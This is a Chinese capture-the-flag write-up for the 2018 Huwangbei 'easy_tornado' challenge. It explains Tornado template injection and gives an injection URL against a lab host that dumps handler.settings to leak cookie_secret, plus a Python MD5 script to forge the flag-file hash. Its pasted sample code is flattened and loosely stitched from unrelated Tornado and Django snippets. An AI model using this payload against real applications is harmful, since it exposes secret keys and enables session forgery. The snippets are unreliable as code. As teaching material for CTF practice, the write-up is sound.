2018护网杯easy_tornado(SSTI tornado render模板注入)
考点:SSTI注入
原理:
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
网上看到的例子:
#!/usr/bin/env python # -*- coding:utf-8 -*- from tornado.web import UIModule from tornado import escape class custom(UIModule): def render(self, *args, **kwargs): return escape.xhtml_escape(‘<h1>wupeiqi</h1>‘) #return escape.xhtml_escape(‘<h1>wupeiqi</h1>‘)
#!/usr/bin/env python # -*- coding:utf-8 -*- import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.render(‘index.html‘) class LoginHandler(BaseHandler): def get(self): ‘‘‘ 当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢? 在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler 继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做 ‘‘‘ ‘‘‘ 我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie() ‘‘‘ # self.set_cookie() # self.get_cookie() self.render(‘login.html‘, **{‘status‘: ‘‘}) def login(request): #获取用户输入 login_form = AccountForm.LoginForm(request.POST) if request.method == ‘POST‘: #判断用户输入是否合法 if login_form.is_valid():#如果用户输入是合法的 username = request.POST.get(‘username‘) password = request.POST.get(‘password‘) if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password: request.session[‘auth_user‘] = username return redirect(‘/index/‘) else: return render(request,‘account/login.html‘,{‘model‘: login_form,‘backend_autherror‘:‘用户名或密码错误‘}) else: error_msg = login_form.errors.as_data() return render(request,‘account/login.html‘,{‘model‘: login_form,‘errors‘:error_msg}) # 如果登录成功,写入session,跳转index return render(request, ‘account/login.html‘, {‘model‘: login_form})
参数传递:在tornado模板中,存在一些可以访问的快速对象
<title> {{ escape(handler.settings["cookie"]) }} </title>
复现:
要点:获取cookie_secret
handler.settings指向RequestHandler.settings 而RequestHandler.settings又指向self.application.settings 所有handler.settings就指向RequestHandler.application.settings了
payload:
http://cc1a6351-2a20-4744-a50e-4b1342c87929.node3.buuoj.cn/error?msg={{handler.settings}}
然后根据题目计算MD5
import hashlib def md5value(s): md5 = hashlib.md5() md5.update(s.encode()) return md5.hexdigest() def mdfive2(): filename = ‘/fllllllllllllag‘ cookie = r"363b486d-fb09-45c1-bae5-75d1ba84076a" print(md5value(cookie + md5value(filename))) mdfive2()
学习链接: